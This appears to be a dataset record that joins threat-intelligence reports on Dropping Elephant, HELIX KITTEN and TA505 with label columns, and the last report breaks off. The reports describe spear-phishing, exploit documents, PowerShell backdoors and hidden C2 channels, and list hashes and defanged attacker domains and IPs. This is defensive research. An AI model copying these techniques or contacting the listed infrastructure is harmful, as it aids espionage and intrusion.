Center Case Studies White Papers Datasheets Technologies Contact Us GDPR Menu Securelist English English P\xd1\x83\xd1\x81\xd1\x81\xd0\xba\xd0\xb8\xd0\xb9 Deutsch Fran\xc3\xa7ais Italiano Espa\xc3\xb1ol Polski Threats Mobile threats Secure environment (IoT) Financial threats Spam and phishing Industrial threats Vulnerabilities and exploits Web threats Categories APT reports Research Incidents Security Bulletin Publications Malware reports Spam and phishing reports All categories Tags Ransomware Targeted Attacks Botnets Internet Banking Mobile Malware Social Engineering Malware Statistics Show all tags Statistics Encyclopedia Descriptions Solutions for: Home Users Products KasperskyTotal Security KasperskyInternet Security KasperskyAnti-Virus KasperskyInternet Security for Mac Kaspersky Internet Security for Android KasperskySecure Connection Free Tools Kaspersky Safe Kids Kaspersky Password Manager Kaspersky Software Updater View more Renew Downloads Support Resource Center My Kaspersky My Devices My Products / Subscriptions My Orders Small Business(1-50 employees) Products KasperskySmall Office Security KasperskyEndpoint Security Cloud KasperskyEndpoint Security for Business Select KasperskyEndpoint Security for Business Advanced Renew Downloads Support Resource Center Insights Products & Solutions Customer Stories Awards & Recognition Technology GDPR KSOS Portal Medium Business(51-999 employees) Products KasperskyEndpoint Security Cloud KasperskySecurity for Office 365 KasperskyEndpoint Security for Business Select KasperskyEndpoint Security for Business Advanced KasperskySecurity for Business Total KasperskyPhysical, Virtual & Cloud Workloads Security TARGETED SECURITY SOLUTIONS Mail Server File Server Mobile Internet Gateway Virtualization and Hybrid Cloud Collaboration Vulnerability and Patch Management Storage View More Services Downloads Support Resource Center Insights Products & Solutions Customer Stories Awards & Recognition Technology GDPR CompanyAccount Enterprise(1000+ employees) Solutions Endpoint Security Hybrid Cloud Security Internet of Things & Embedded Security Threat Management and Defense Industrial Cybersecurity Fraud Prevention Industries National Cybersecurity Industrial Cybersecurity Finance Services Cybersecurity Healthcare Cybersecurity Transportation Cybersecurity Retail Cybersecurity Other industries Telecom Cybersecurity View all Products KasperskyEndpoint Security KasperskyEndpoint Detection and Response KasperskyHybrid Cloud Security KasperskyAnti Targeted Attack Platform KasperskyPrivate Security Network KasperskyEmbedded Systems Security Other products Kaspersky Security for Mail Server Kaspersky DDoS Protection Kaspersky Mobile Security Kaspersky Security for Storage View all Services KasperskyCybersecurity Services KasperskySecurity Awareness KasperskyPremium Support KasperskyThreat Intelligence KasperskyThreat Hunting KasperskyIncident Response Other Services Kaspersky Professional Services Kaspersky Security Assessment Kaspersky Security Training Kaspersky Advanced Cyber Incident Communications View all Resource Center Case Studies White Papers Datasheets Technologies Contact Us GDPR CompanyAccount Securelist Threats Financial threats Mobile threats Web threats Secure environment (IoT) Vulnerabilities and exploits Spam and Phishing Industrial threats Categories APT reports Incidents Research Malware reports Spam and phishing reports Kaspersky Security Bulletin Publications Tags Ransomware Botnets Mobile Malware Social Engineering Targeted Attacks Malware Statistics All Tags Statistics Encyclopedia Descriptions Partners Partners Find a Partner Affiliate Technology Whitelist Program About Us About Us Company Team Transparency Transparency Center Policy Blog Corporate News Press Center Careers Incubator Sponsorships APT reports The Dropping Elephant \xe2\x80\x93 aggressive cyber-espionage in the Asian region By GReAT on July 8, 2016. 5:57 am Dropping Elephant (also known as \xe2\x80\x9cChinastrats\xe2\x80\x9d and \xe2\x80\x9cPatchwork\xe2\x80\x9c) is a relatively new threat\xc2 actor that is targeting a variety of high profile diplomatic and economic targets using a custom set of attack tools. Its victims are all involved with China\xe2\x80\x99s foreign relations in some way, and are generally caught through spear-phishing or watering hole attacks. Overall, the activities of this actor show that low investment and ready-made offensive toolsets can be very effective when combined with high quality social engineering. We have seen more such open source toolset dependency with meterpreter and BeEF, and expect to see this trend continue. The Attack Method: Infection Vector Dropping Elephant uses two main infection vectors that share a common, and fairly elaborately maintained, social engineering theme \xe2\x80\x93 foreign relations with China. The first approach involves spear-phishing targets using a document with remote content. As soon as the user opens the document, a \xe2\x80\x9cping\xe2\x80\x9d request is sent to the attackers\xe2\x80\x99 server. At this point, the attackers know the user has opened the document and send another spear-phishing email, this time containing an MS Word document with an embedded executable. The Word document usually exploits CVE-2012-0158. Sometimes the attackers send an MS PowerPoint document instead, which exploits CVE-2014-6352. Once the payload is executed, an UPX packed AutoIT executable is dropped. Upon execution, this downloads additional components from the attackers\xe2\x80\x99 servers. Then the stealing of documents and data begins. The second approach involves capturing victims through watering hole attacks. The actor created a website that downloads genuine news articles from other websites. If a website visitor wants to view the whole article they would need to download a PowerPoint document. This reveals the rest of the article, but also asks the visitor to download a malicious artifact. The two main infection vectors are supported by other approaches. Sometimes, the attackers email out links to their watering hole websites. They also maintain Google+, Facebook and twitter accounts to develop relevant SEO and to reach out to wider targets. Occasionally, these links get retweeted, indiscriminately bringing more potential victims to their watering holes. The Attack Tools 1. Malware Analysis The backdoor is usually UPX packed but still quite large in size. The reason for this is that most of the file comprises meaningless overlay data, since the file is an automatically generated AutoIT executable with an AutoIT3 script embedded inside. Once started, it downloads additional malware from the C2 and also uploads some basic system information, stealing, among other things, the user\xe2\x80\x99s Google Chrome credentials. The backdoor also pings the C2 server at regular intervals. A good security analyst can spot this while analyzing firewall log files and thereby find out that something suspicious might be going on in the network. Generally speaking, backdoors download additional malware in the form of encrypted or packed executables/libraries. But, in the case of Dropping Elephant, the backdoor downloads encoded blobs that are then decoded to powershell command line \xe2\x80\x9cscripts\xe2\x80\x9d. These scripts are run and, in turn download the additional malware. One of the more interesting malware samples downloaded is the file-stealer module. When this file-stealer is executed, it makes another callback to the C2 server, downloading and executing yet another malware sample. It repeatedly attempts to iterate through directories and to collect files with the following extensions: doc, docx, ppt, pptx, pps, ppsx, xls, xlsx, and pdf. These files are then uploaded to the C2 server. Also interesting are the resilient communications used by this group. Much like the known actors Miniduke or CommentCrew, it hides base64 encoded and encrypted control server locations in comments on legitimate web sites. However, unlike the previous actors, the encrypted data provides information about the next hop, or the true C2 for the backdoor, instead of initial commands. 2. C2 Analysis In many cases it was very difficult to get a good overview of the campaign and to find out how successful it is. By combining KSN data with partner-provided C2 server data, we were able to obtain a much fuller picture of the incident. We examined connections and attack logins to this particular C2. As it turned out, the attackers often logged in via a VPN, but sometimes via IPs belonging to an ordinary ISP in India. We then looked at the time the attackers were active, of which you can find an image below. Victim Profile and Geography We also wanted to get a better idea of the geolocation of most visitors. Analysis of the image provided access counts and times, along with the IP of the visiting system. Noteworthy are the many IPs located in China. This focus on China-related foreign relations was apparent from the ongoing social engineering themes that were constant throughout the attacks. The concentration of visits from CN (People\xe2\x80\x99s Republic of China) could be for a variety of reasons \xe2\x80\x93 diplomatic staff are visiting these sites from their CN offices, CN academics and analysts are very interested in researching what they believe to be CN-focused think tanks, or some of the IPs are unknown and not self-identifying as bots or scrapers. Regardless, because we were able to determine that multiple targets are diplomatic and governmental entities, these foreign relations efforts are likely to represent the main interest of the attackers. Conclusion Campaigns do not always need to be technically advanced to be successful. In this case, a small group reusing exploit code, some powershell-based malware and mostly social engineering has been able to steal sensitive documents and data from victims since at least November 2015. Our analysis of the C2 server confirmed the high profile of most victims, mainly based in the Asian region and specially focused on Chinese interests. Actually, some hints suggest the group has been successful enough to have recently expanded its operations, perhaps after proving its effectiveness and the value of the data stolen. This is quite worrying, especially given the fact that no 0 days or advanced techniques were used against such high profile targets. Simply applying software patches will prevent attacks based on old exploits, as well as training in the most basic social engineering attacks. However, it should be noted that in this case Microsoft\xc2\xb4s patch for exploit CVE-2014-1761 just warns the user not to allow the execution of the suspicious file. Dropping Elephant artifacts are detected by Kaspersky Lab products as: Exploit.Win32.CVE-2012-0158.* Exploit.MSWord.CVE-2014-1761.* Trojan-Downloader.Win32.Genome.* HEUR:Trojan.Win32.Generic As usual Kaspersky Lab actively collaborates with CERTs and LEAs to notify victims and help to mitigate the threat. If you need more information about this actor, please contact intelreports@kaspersky.com More information on how Kaspersky Lab technologies protect against such cyberespionage attacks is available on Kaspersky Business blog. Indicators of Compromise Backdoors eddb8990632b7967d6e98e4dc1bb8c2f 1ec225204857d2eee62c78ee7b69fd9d d3d3a5de76df7c6786ed9c2850bd8405 05c5cc0e66ad848ec540fcd3af5853b1 0839b3f0a4b28111efc94942436041cb 0cf4acddfaa77bc66c44a687778f8695 233a71ea802af564dd1ab38e62236633 39538c8845bd0b4a96c4b8bc1e5d7ea3 54c49a6768e5f8551d0918e63b200775 7a662144f9d6bada8aea09b579e15562 aa755fc3521954b10fd65c07b423fc56 d8102a24ca00ef3db7d942912765441e e231583412573ecabfd05c4c0642a8b9 eddb8990632b7967d6e98e4dc1bb8c2f fb52fbd9b3b465453276f42c46350c25 Exploit documents d69348794e85ddea6a5f68b85f9bf47b 10_gay_celebs.doc 9f9824e9a4d7d3073aebbcc781869660 1111_v1.doc d1c864ae8770ae43a0e59a31c0788dc2 13_Five_Year_Plan_2016-20-1.pps 9a0534772ac23ff64e3c85b18fbec596 2015nianshijiexiaoxuanshou.doc a46d44e227b49d2075730610cfec0b2e 7GeopoliticalConsequencetoAnticipateinAsiainEarly2016_1.doc 79afb3f44172447015578b8064c1dda0 7GeopoliticalConsequencetoAnticipateinAsiainEarly2016_2.doc 6abf60e9e2f6e3fa4c8020e1b2ef2867 ABiggerBolderChinain2016_1.doc 89963d5aac8441b0febbe5d5a0ab7629 ABiggerBolderChinain2016_2.doc d79e1d6302aabbdf083ba89a7c2f34fc aeropower.pps 90af176bfdf248d2899b49316458e4b6 australia_fonops_1.pps 24c722f3d0770ede82fa3d6b550098b3 australia_fonops_2.pps 08a116efce7d947257ce94fc8f3e276e aviation_1.pps 0ae8f01b9ba0394f5e68536574076aa1 aviation_2.pps 0d1bdb45bac3b09e28e4f0cb09c97194 beauty3.pps d807fb3cb1a0687e152d288171ab9b59 beauty6.pps f017c65c7b5d14df11c5e0e4f0406562 CHINA_FEAR_US_3.pps 3cd8e3e80a106b0590a7b5eedddf4715 CHINA_FEAR_US_6.pps a1940b31af27139a13dff852cb012a22 ChinainSyria.doc e7ba5c209635607b2b0e38a00a822953 chinamilstrat1.doc d273f090b96eca7c93387a03d9527d9b chinamilstrat2.doc 17d5acf49a4d65a4aacc362576dbaa12 chinamilstrength.pps 3c68ca564595e108920a0f105728fded China_Response_NKorea_Nuclear_Test1.pps 8c21aee21b6bfa12ecf6070a4532655a China_Response_NKorea_Nuclear_Test2.pps 533ce967d09189d27f38fe6ed4711099 chinascyberarmy2015_1.pps 9c9e5d09699821c53d68e957044ec6e8 chinascyberarmy2015_2.pps c4f5d6ed36c3d51cb1b31f20922ce880 ChinasMilitaryIntelligenceSystemisChanging_1.doc 1fb7eece41b964517d5224b57073c5d4 ChinasMilitaryIntelligenceSystemisChanging_2.doc 1e620679c90563d46aa349e991d2e0f2 CHINA\xe2\x80\x99S_PUZZLING_DEFENSE_AGREEMENT_WITH_AUSTRALIA_1.doc a0177d2fd49d835244028e98449c77a5 CHINA\xe2\x80\x99S_PUZZLING_DEFENSE_AGREEMENT_WITH_AUSTRALIA_1.pps 1e620679c90563d46aa349e991d2e0f2 CHINA\xe2\x80\x99S_PUZZLING_DEFENSE_AGREEMENT_WITH_AUSTRALIA_2.doc 70c5267c56ded521c6f674a6a6649f05 CHINA\xe2\x80\x99S_PUZZLING_DEFENSE_AGREEMENT_WITH_AUSTRALIA_2.pps a1940b31af27139a13dff852cb012a22 ChinatoReceive_S-400_Missiles.doc 77ff734bc92e853b92595ddf999ee1ec China_two_child_policy_will_underwhelm1.doc 8c875542def907312fd92d10746c230c China_two_child_policy_will_underwhelm1.pps e98b1ed80ba3a3b6b0809f04536e9753 ChinaUS_1.pps 36581da1d10ba6382a63e7046c21dd8d ChinaUS_2.pps 9a7e499d7abfcbe7fb2a78cf1d7a2f10 chinesemilstrat_1.pps 40ace1c9394c95d7e9e1e80f24bd1a73 chinesemilstrat_2.pps 71d59036f84aba8e60aa8785e3883372 cppcc_1.pps 04aff7c333055188219e290e58313d78 cppcc_2.pps dffe28c9c4dc9e2e865e3237f4bc38c4 Dev_Kumar_Sunuwar.doc ae27773e49fea122e3f8ce7a27e6c555 election.pps 86edf4fab125d8ccba85138f43b24def enggmarvels_1.pps a8022594e81c74b22abca772eb89657c enggmarvels_2.pps bc08d1bddf72369adceffbfc36f848df fengnew33.pps 2c70e1f152e2cb42bb29aadb66ece2ec fengnew36.pps 3a2be243b0c78e8689b34e2415d5e479 fengnew63.pps 2158cb891a8ecbaaa70a641a6529b787 fengnew66.pps a1940b31af27139a13dff852cb012a22 final.doc a1940b31af27139a13dff852cb012a22 FinancialCrisisChina.doc 884f76542f3972f473376c943daeaf8f futuredrones_1.pps 098c74c23ed73ac7bf7581fec2eb088d futuredrones_2.pps 915e5eefd145c59677a2a9eded97d114 gaokaonewreforms_1.doc 57377233f2a946d150115ad23bbaf5e6 gaokaonewschedule_1.pps 1c5b468489cf927c1d969484ddbdd8ea gaokaonewschedule_2.pps fa2f8ec0ab22f0461e860394c6b06a68 harbin_1.pps 9a0534772ac23ff64e3c85b18fbec596 Heart_Valve_Replacement.doc 4ea4142bab2b90e5779df19616f7d8ca Implication_China_mil_reforms_1.doc 8a350d3f6fb359377d8939e1a2e033f3 Implication_China_mil_reforms_1.pps f5e121671384fbd43534b8515c9e6940 ISIS_Bet_Part1.doc 3a83e09f1b751dc08f4b719ed51c3fbc ISIS_Bet_Part2.doc 8a1a10dcc6e2ac6b40a86d6ed20cf1bd japan_pivot_1.pps 72c05100da6b6bcbf3f96fee5cf67c3f japan_pivot_2.pps ebe8efbad7f01b76465afaf474589c2f jtopcentrecomn.pps 165ae88945852a37fca8ec5224e35188 korea1.pps 38e71afcdd6236ac3ad24bda393a81c6 militarizationofsouthchinasea_1.pps 61f812a1924e6d5b4307313e20cd09d1 militarizationofsouthchinasea_2.pps 4595dbaeec06e3f9b466d618b4da767e MilitaryReforms1.pps 1de10c5bc704d3eaf4f0cfa5ddd63f2d MilitaryReforms2.pps ce1426ffe9ad4439795d269ddcf57c87 MilReform_1.doc 1e620679c90563d46aa349e991d2e0f2 MilReform_2.doc 8d2f4e691f2e318f7162a3a5d397b29c MilReforms_1.pps 631d44688303be28a1b825aa1c9f3202 MilReforms_2.pps fe78c037844ad08a9a79c85f46e68a67 my_lovely_pics_3.pps d5a976cc714651711c8f067dd5e00709 my_lovely_pics_6.pps 657e9333a052f593b7c51c58917a1b1f my_photos_3.pps e08bbed0aa4b21ae921d4dc5350789c7 my_photos_6.pps 141a8b306af8087df4feee15f571eb59 nail_art_3.pps 122d7dff33174e532063a16ae526208d nail_art_6.pps d049a6f9e527a72a4b917eec1acbd6f9 netflix1.doc 09a478efd8c5aeef3a5395e3988f5059 netflix1.pps d791f8d9495d5d5df0cedb8b27fb3b49 netflix2.doc e7b4511cba3bba6983c43c9f9014a49d netflix2.pps d01be8c3c027f9d6f0d93542dfe7ca97 nianshijiexiaoxuanshou2015.doc 040712ba00b32cc19e1938e14e732f59 North_Korea_Nuclear_Test_1.doc 3b0ca7dafb94333234e4f1330a1699da North_Korea_Nuclear_Test_2.doc 1e620679c90563d46aa349e991d2e0f2 Obama_Gift_China_1.doc 6f327b93279f3ce39f4fbe7a610c3cd2 Obama_Gift_China_1.pps 1e620679c90563d46aa349e991d2e0f2 Obama_Gift_China_2.doc 58179b5cf455e2bcac396c697cd43050 Obama_Gift_China_2.pps fa94f2843639f7afec3c06799a8d222e PAK_CHINA_NAVAL_EXERCISEn.doc 4d2bde1b3985d1e1088801d92d1d6ca9 pension_1.pps 9a0534772ac23ff64e3c85b18fbec596 Reconciliation_China\xe2\x80\x99s_PLAN.doc 2c9b4d460e846d5814c2691ae4591c4f Stewardess1.doc dab037a9e02978bcd275ddaa15dab01d stewardess1.pps 007c9c29786d0af81caf437fe626c6fe Stewardess2.doc 8aae16b5e64445703d939bc7923ae7b7 stewardess2.pps 036a45983df8f81bf1875097fc026b04 syria_china.pps a8b9a32723452d27257924a737ec1bed TaiwanDiplomaticAccess_1.pps f16ee3123d5eb21c053ac95e7cd4f203 TaiwanDiplomaticAccess_2.pps 71ce64fee9cd323828a44e9228d2736b tibetculture_1.pps b5e5e428b31a8affe48fdf6b8a253dc6 tibetculture_2.pps d64efa0b8c091b8dbed3635c2b711431 underestimatingUS_1.pps 543fe62829b7b9435a247487cd2a9672 underestimatingUS_2.pps 807796263fd236a041f3633ac578140e UruguayJan-Jun_1o.pps 98e7dc26531469e6b968cb422371601a uruguayjan-jun_1.pps 7eb1b6fefe7c5f86dcc914056928a17b UruguayJan-Jun_2o.pps 7660c6189c928919b0776713d2755db2 uruguayjan-jun_2.pps 7c4c866cf78be30229b75a3301345f44 UruguayJul-Dec_1o.pps a4fcf3a441865ae17f2c80ff7c28543d uruguayjul-dec_1.pps dba585f7d5fc51566c663bd738de2c33 UruguayJul-Dec_2o.pps f7905a7bd6483a12ab36071363b012c3 uruguayjul-dec_2.pps 409e3368af2add71265d2811aa9d6817 US_China.doc 5a89f11f4bb3b5637c731e206f807ff7 us_srilanka_relations_1.pps 7f50d3f4eabffe7225a2d5f0c91009c8 us_srilanka_relations_2.pps 3d01d2a42450064c55574d853c086f9a WILL_ISIS_INFECT_BANGLADESH.doc 1538a412fd4035954237c0b4c135fcba WILL_ISIS_INFECT_BANGLADESH.pps eb0b18ecaa6f40e48970b08f3a3e6803 zodiac_1.pps da29f5eeb39332a850f04be2906315c1 zodiac_2.pps Domains and IPs http://www.epg-cn[.]com http://chinastrat[.]com http://www.chinastrats[.]com http://www.newsnstat[.]com http://cnmilit[.]com http://163-cn[.]org alfred.ignorelist[.]com http://5.254.98[.]68 http://43.249.37[.]173 http://85.25.79[.]230 http://10.30.4[.]112 http://5.254.98[.]68 http://microsofl.mooo[.]com ussainbolt.mooo[.]com ussainbolt1.mooo[.]com updatesys.zapto[.]org updatesoft.zapto[.]org C2 redirectors (with obfuscated comments) http://feeds.rapidfeeds[.]com/61594/ http://wgeastchina.steelhome[.]cn/xml.xml http://hostmyrss[.]com/feed/players http://feeds.rapidfeeds[.]com/81908/ http://feeds.rapidfeeds[.]com/79167/ http://feeds.rapidfeeds[.]com/61594/ Update: our friends from Cymmetria have released their analysis of the Dropping Elephant / Patchwork APT\xc2 \xe2\x80\x93 make sure to check it as well for more data about the attacks. APT Vulnerabilities Share post on: Facebook Twitter Related Posts Incident Response report 2018 IT threat evolution Q2 2019 APT trends report Q2 2019 Leave a Reply Cancel Reply Your email address will not be published. Required fields are marked * Name * Email * Save my name, email, and website in this browser for the next time I comment. \xc2 Notify me when new comments are added. \xc2 In the same category Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities GreyEnergy\xe2\x80\x99s overlap with Zebrocy A Zebrocy Go Downloader APT review of the year DarkPulsar FAQ \xc2\xa9 2019 AO Kaspersky Lab. All Rights Reserved. Registered trademarks and service marks are the property of their respective owners. Contact us | Privacy Policy | License Agreement * * I agree to provide my email address to \xe2\x80\x9cAO Kaspersky Lab\xe2\x80\x9d to receive information about new posts on the site. I understand that I can withdraw this consent at any time via e-mail by clicking the \xe2\x80\x9cunsubscribe\xe2\x80\x9d link that I find at the bottom of any e-mail sent to me for the purposes mentioned above. Twitter Facebook LinkedIn YouTube RSS Email","0","1","0","0","0","1","1","0","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"BLOG Meet CrowdStrike\xe2\x80\x99s Adversary of the Month for November: HELIX KITTEN November 27, 2018Adam MeyersResearch & Threat Intel HELIX KITTEN HELIX KITTEN is likely an Iranian-based adversary group, active since at least late 2015, targeting organizations in the aerospace, energy, financial, government, hospitality and telecommunications business verticals. This adversary group is most commonly associated with a custom PowerShell implant identified as Helminth. The Helminth implant is routinely delivered through macro-enabled Microsoft Office documents requiring user interaction to execute an obfuscated Visual Basic Script. Additionally, HELIX KITTEN actors have shown an affinity for creating thoroughly researched and structured spear-phishing messages relevant to the interests of targeted personnel. In some instances, spear-phishing messages have been sent from compromised accounts of organizations related to the target to further enhance credibility. Information technology (IT) and corporate infrastructure is a common theme of HELIX KITTEN spear-phishing messages. In addition to Helminth, the ISMDoor implant is likely used by the Iran-based adversary to attack targets particularly those in the Middle East region. There are several infrastructure overlaps between ISMDoor and ISMAgent, a tool used exclusively by HELIX KITTEN. The implementation of the DNS transport layer protocol is very similar in both ISMDoor and ISMAgent. ISMDoor is able to exfiltrate data, take screenshots, and execute arbitrary commands on the victim\xe2\x80\x99s machine. Command and control (C2) is performed through a covert channel based on DNS AAAA records. The actor uses dedicated domains to host their C2 infrastructure, as the C2 protocol requires full control over the authoritative DNS server to work. During the summer of 2018, HELIX KITTEN actors were observed targeting entities in the Middle East \xe2\x80\x94 of note, targets appeared to be located in Bahrain and Kuwait. These incidents involved spear-phishing attacks, which characteristic of HELIX KITTEN, included emails containing malicious PowerShell in their macros that connects to known C2 infrastructure. In early November 2018, CrowdStrike\xc2\xae Falcon OverWatch\xe2\x84\xa2 observed activity from the HELIX KITTEN adversary at a customer in the telecommunications vertical. While the adversary leveraged known tooling as well as tactics, techniques, and procedures (TTPs), this activity represented a shift in targeting that could allow HELIX KITTEN to support multiple objectives. HELIX KITTEN\xe2\x80\x99s operations against organizations in the telecommunications industry could allow this adversary to conduct bulk data collection of large amounts of communications data that could be later leveraged in additional intelligence activities. Targeting telecommunications can also allow the adversary to be able to reroute communications to adversary-controlled infrastructure for data collection or malware delivery. The ultimate objective of this activity remains unclear at the time of this writing, but the addition of the telecommunications sector to HELIX KITTEN\xe2\x80\x99s target scope is a notable development. OilRig, Helminth, Clayslide, APT34, IRN2 are community or industry names associated with this actor. Other Iranian-based Adversaries Clever Kitten Curious about other nation-state adversaries? Visit our threat actor center to learn about the new adversaries that the CrowdStrike team discovers. Additional Resources To learn more about how to incorporate intelligence on threat actors like HELIX KITTEN into your security strategy, please visit the Falcon threat intelligence product page. Download the 2019 CrowdStrike Global Threat Report: Adversary Tradecraft and The Importance of Speed Tweet Share CrowdStrike Falcon Free Trial Adam Meyers Adam Meyers has authored numerous papers for peer-reviewed industry venues and has received awards for his dedication to the information security industry. As Vice President of Intelligence for Crowdstrike, Meyers oversees all of CrowdStrike\xe2\x80\x99s intelligence gathering and cyber-adversarial monitoring activities. Previously, Meyers was the Director of Cyber Security Intelligence with the National Products and Offerings Division of SRA International where he provided technical expertise at the tactical level and strategic guidance on overall security program objectives. Related Content Student Looking At Three Computer Screens With Ransomware Ransomware Increases the Back-to-School Blues As students all over the United States donned their backpacks and packed their lunches to go\xe2\x80\xa6 SPIDER Adversary Image In Front Of Red Code Who is Salty Spider (Sality)? Common Aliases SALTY SIDER is most commonly identified with the botnet it maintains (Sality) and it\xe2\x80\x99s\xe2\x80\xa6 Laptop With Mobile Threat Landscape Cover Image Webcast: A Deep Dive Into the Mobile Malware Report Trends and Recommendations A new webcast, \xe2\x80\x9cThreat Landscape: Mobile Malware,\xe2\x80\x9d delves into the challenges of securing mobile devices in\xe2\x80\xa6 CATEGORIES ENDPOINT PROTECTION(181) EXECUTIVE VIEWPOINT(95) FROM THE FRONT LINES(86) RESEARCH & THREAT INTEL(138) TECH CENTER(56) CONNECT WITH US CrowdStrike Falcon Free Trial FEATURED ARTICLES How to gain visibility into Mobile Devices September 17, 2019 Ransomware Increases the Back-to-School Blues September 17, 2019 How to use Falcon Insight to get Additional USB Device Visibility September 16, 2019 Using Docker to Do Machine Learning at Scale September 13, 2019 SUBSCRIBE Sign up now to receive the latest notifications and updates from CrowdStrike. SIGN UP See CrowdStrike Falcon in Action Detect, prevent, and respond to attacks\xe2\x80\x94 even malware-free intrusions\xe2\x80\x94at any stage, with next-generation endpoint protection. SEE DEMO Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted RansomwareFarewell to Kelihos and ZOMBIE SPIDER Copyright \xc2\xa9 2019 CrowdStrike Privacy Request Info Blog Join Our Team Sitemap Contact Us 1.888.512.8906 English","0","1","0","0","0","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0" -"TA505 shifts with the times | Proofpoint US Products Solutions Partners Resources Company United States United Kingdom France Germany Italy Spain Japan Australia Login Support Log-in Digital Risk Portal Email Fraud Defense ET Intelligence Mobile Defense Proofpoint Essentials Sendmail Support Log-in Contact Email Protection Defend against threats, ensure business continuity, and implement email policies. Advanced Threat Protection Protect against email, mobile, social and desktop threats. Security Awareness Training Engage your users and turn them into a strong line of defense against phishing and other cyber attacks. Cloud App Security Defend against cyber criminals accessing your sensitive data and trusted accounts. Archiving and Compliance Reduce risk, control costs and improve data visibility to ensure compliance. Information Protection Safeguard data in email, cloud apps, on-premise file shares and SharePoint. Digital Risk Protection Protect against digital security risks across web domains, social media and the deep and dark web. Email Security and Protection Email Fraud Defense Threat Response Auto-Pull Domain Discover For Email Mail Routing Agent Sendmail Open Source Essentials for Small Business Targeted Attack Protection in Email Browser Isolation Email Isolation Threat Response Emerging Threats Intelligence Premium Threat Information Service Simulated Phishing and Knowledge Assessments Interactive Training, Videos, and Materials Phishing Email Reporting and Analysis Business Intelligence Integrations Multinational Support Cloud Account Defense Cloud App Security Broker Enterprise Archive Enterprise Collaboration Archiving Intelligent Supervision E-discovery and Analytics Email Data Loss Prevention (DLP) Email Encryption Data Discover Social Media Protection Digital Compliance Domain Fraud Monitoring Executive and Location Threat Monitoring Training Modules, Videos, and Materials Try our Security Awareness Training content. Try Now Solutions by Topic Office 365 Protect your people and data in Microsoft Office 365 with unmatched security and compliance tools. EU General Data Protection Regulation (GDPR) Identify, classify and protect your sensitive data from advanced threats. Next Generation Compliance Solutions Safeguard business-critical information from data exfiltration, compliance risks and violations. Email Fraud Block attacks with a layered solution that protects you against every type of email fraud threat. Digital Brand, Security and Compliance Risk Eliminate the brand, security and compliance risks that stand in the way of digital engagement. Social Media Compliance Simplify social media compliance with pre-built content categories, policies and reports. Replace McAfee Email Security Products Stay ahead of email threats with email security from the exclusive migration partner of Intel Security. Solutions by Industry Federal Government Financial Services Healthcare Mobile for ISPs Email for ISPs Small and Medium Businesses Partner Programs Channel Partners Become a channel partner. Deliver Proofpoint solutions to your customers and grow your business. Archive Extraction Partners Learn about the benefits of becoming a Proofpoint Extraction Partner. Technology and Alliance Partners Learn about our relationships with industry-leading firms to help protect your people, data and brand. Social Media Protection Partners Learn about the technology and alliance partners in our Social Media Protection Partner program. Partner Tools Find a Channel Partner Become a Channel Partner Channel Partner Portal Resource Library Find the information you're looking for in our library of videos, data sheets, white papers and more. Blog Keep up with the latest news and happenings in the ever-evolving cybersecurity landscape. Events Connect with us at events to learn how to protect your people and data from ever-evolving threats. Customer Stories Read how Proofpoint customers around the globe solve their most pressing cybersecurity challenges. Webinars Browse our webinar library to learn about the latest threats, trends and issues in cybersecurity. Threat Center Learn about our threat operations center and read about the latest risks in our threat blog and reports. Learn More About Proofpoint Proofpoint is a leading cybersecurity company that protects organizations' greatest assets and biggest risks: their people. Why Proofpoint Today\xe2\x80\x99s cyber attacks target people. Learn about our unique people-centric approach to protection. Careers Stand out and make a difference at one of the world's leading cybersecurity companies. Investor Center View Proofpoint investor relations information, including press releases, financial results and events. News Center Read the latest press releases, news stories and media highlights about Proofpoint. Support Access the full range of Proofpoint support services. Learn More Blog Threat Insight TA505 shifts with the times TA505 shifts with the times Rss June 08, 2018 Proofpoint Staff Overview In September 2017, Proofpoint researchers detailed the history and ongoing activities of an actor we track as TA505. Throughout 2016 and 2017, TA505 was among the most prolific financially motivated actors we follow, regularly distributing massive malicious spam campaigns bearing diverse payloads ranging from Jaff ransomware to The Trick banking Trojan. TA505 was behind many of the Dridex campaigns that plagued organizations in 2015 and introduced Locky ransomware in 2016, bringing unprecedented scale to malicious spam distribution. Since we wrote our original TA505 profile, the actor has continued to explore the use of new malicious attachments and new payloads. In 2018, though, the scale and regularity of their campaigns decreased, while the diversity of payloads has increased. Given the importance of this actor in the email threat landscape we wanted to revisit our profile and update it with the latest activity from TA505. For additional historical information on TA505, read our Actor Profile. Activity since September 2017 Locky - September/October By the fourth quarter of 2017, TA505 was still sending very high-volume campaigns primarily distributing Locky ransomware. As in the preceding months, TA505 pivoted through various attachment types to deliver the malicious payload. For the last half of September and the first half of October, the group primarily used VBScript files compressed in 7-Zip archives to distribute Locky Affiliate ID 3 (Affid=3). 7-Zip files are not natively 